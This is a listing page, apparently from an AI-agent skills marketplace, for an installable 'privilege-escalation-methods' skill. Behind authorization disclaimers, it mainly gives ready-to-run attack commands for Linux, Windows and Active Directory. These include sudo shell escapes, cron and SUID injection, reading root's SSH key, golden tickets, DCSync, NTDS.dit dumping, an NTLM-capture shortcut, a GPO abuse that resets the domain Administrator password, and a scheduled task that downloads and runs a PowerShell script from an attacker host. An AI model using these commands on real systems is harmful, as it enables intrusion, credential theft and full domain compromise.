mcpField
P
privilege-escalation-methods

privilege-escalation-methods

github.com/sickn33安全48.7k307 次安装今天更新
代码仓库

关于 privilege-escalation-methods

面向经明确授权的安全评估,介绍 Linux、Windows 和 Active Directory 的权限提升路径。内容涵盖技术参考,并设有强制确认流程及防御性使用边界。

主要功能

  1. 01Linux 与 Windows 提权参考
  2. 02Active Directory 攻击技术
  3. 03凭据访问示例
  4. 04授权确认流程
  5. 05清理与范围指引

适用场景

  1. 01在受控实验环境检查权限边界
  2. 02规划获授权的后渗透评估
  3. 03记录提权路径与清理事项

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill privilege-escalation-methods

安装后在 Claude Code 中输入/privilege-escalation-methods确认已加载。

详细介绍

⚠️ 仅限授权用途 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须获得系统所有者明确的书面许可。 滥用此工具属于违法行为,严禁进行。

强制确认关卡 在运行任何会探测、利用、修改目标、在目标上建立持久化、从目标提取数据或尝试访问目标凭据的命令之前:

  1. 请用户说明确切的目标 URL、IP、账户或资源。
  2. 请用户确认已获得书面授权并说明许可范围。
  3. 展示确切的命令,并说明其预期效果。
  4. 等待用户在当前对话中明确确认。

未获得上述确认时,只能进行只读操作,并且只能提供防御性指导。优先使用沙盒、一次性 VM 或受控实验环境。

权限提升方法

目的

提供从受限用户提升至 root/管理员访问权限、针对遭入侵 Linux 和 Windows 系统的全面技术。这些技术对渗透测试的后渗透阶段和红队行动至关重要。

输入/前提条件

  • 已获得目标系统的初始低权限 Shell 访问权限
  • Kali Linux 或渗透测试发行版
  • 工具:Mimikatz、PowerView、PowerUpSQL、Responder、Impacket、Rubeus
  • 了解 Windows/Linux 权限模型
  • 对于 AD 攻击:域用户凭据,以及对 DC 的网络访问权限

输出/交付成果

  • Root 或管理员 Shell 访问权限
  • 提取的凭据和哈希值
  • 持久访问机制
  • 域失陷(适用于 AD 环境)

演示边界

以下命令包括破坏性覆盖、SUID/持久化更改、密码重置和凭据提取。这些内容仅供获得明确授权的一次性实验环境参考,不应作为默认评估流程。优先采用无害方式证明特定权限边界,使用合成账户和所有者认可的金丝雀;保留原始内容及清理/回滚记录。初始访问不代表已获准访问整个域的凭据或建立持久化。运行旧版驱动程序/工具前,请先核实确切的受影响版本和稳定性限制。

核心技术

Linux 权限提升
1. 滥用 Sudo 二进制文件

利用配置错误的 sudo 权限,使用 GTFOBins 技术:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash
2. 滥用计划任务(Cron)
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p
3. 滥用 Capabilities
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
4. NFS Root Squashing
# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
5. MySQL 权限边界

mysql 客户端的 \! 命令会以客户端操作系统用户身份在本地执行;数据库 root 账户或以 root 身份运行的服务器并不会让该 Shell 获得 root 权限。应分别检查服务器进程身份、数据库授权和文件系统权限;不要声称从客户端 Shell 逃逸即可实现操作系统权限提升。


Windows 权限提升
1. 令牌模拟
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
2. 滥用服务
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
3. 滥用 SeBackupPrivilege
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
4. 滥用 SeLoadDriverPrivilege
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
5. 滥用 GPO
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Active Directory 攻击
1. Kerberoasting
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
2. AS-REP Roasting
.\Rubeus.exe asreproast
3. Golden Ticket
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
4. Pass-the-Ticket
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket
5. 使用计划任务的 Golden Ticket
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" # security-allowlist: offensive scheduled-task detection example
schtasks /run /s DOMAIN /TN "enterprise"

凭据收集
LLMNR 投毒
# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
NTLM 中继
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
使用 VSS 转储
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

快速参考

技巧操作系统是否需要域工具
滥用 Sudo 二进制文件Linux否GTFOBins
利用 Cron 作业Linux否手动
滥用 CapabilityLinux否getcap
NFS no_root_squashLinux否mount
Token 冒充Windows否SweetPotato
滥用服务Windows否PowerUp
KerberoastingWindows是Rubeus/Impacket
AS-REP RoastingWindows是Rubeus
Golden TicketWindows是Mimikatz
Pass-the-TicketWindows是Rubeus
DCSyncWindows是Mimikatz
LLMNR 投毒Windows是Responder

限制

必须:

  • 在尝试提权前先获得初始 Shell 访问权限
  • 在选择技巧前确认目标操作系统和环境
  • 根据域提权或本地提权选择合适的工具

不得:

  • 未经授权在生产系统上尝试这些技巧
  • 未经客户端批准留下持久化机制
  • 忽视检测机制(EDR、SIEM)

应该:

  • 在利用前进行彻底枚举
  • 记录所有成功的提权路径
  • 在任务结束后清理痕迹

示例

示例 1:从 Linux Sudo 提权至 Root
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
示例 2:Windows Kerberoasting
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

故障排除

问题解决方案
sudo -l 需要密码尝试其他枚举方式(SUID、cron、capability)
安全工具被阻止停止操作并与任务负责人协调;不要绕过获批计划之外的控制措施
Kerberoasting 未返回哈希检查是否存在带有 SPN 的服务帐户
Token 冒充失败确认存在 SeImpersonatePrivilege
NFS 挂载失败检查 NFS 版本兼容性(vers=2,3,4)

更多资源

如需详细的枚举脚本,请使用:

  • LinPEAS:Linux 提权枚举
  • WinPEAS:Windows 提权枚举
  • BloodHound:Active Directory 攻击路径映射
  • GTFOBins:Unix 二进制文件利用参考

使用场景

此技能适用于执行概述中描述的工作流或操作。

评论

支持 Markdown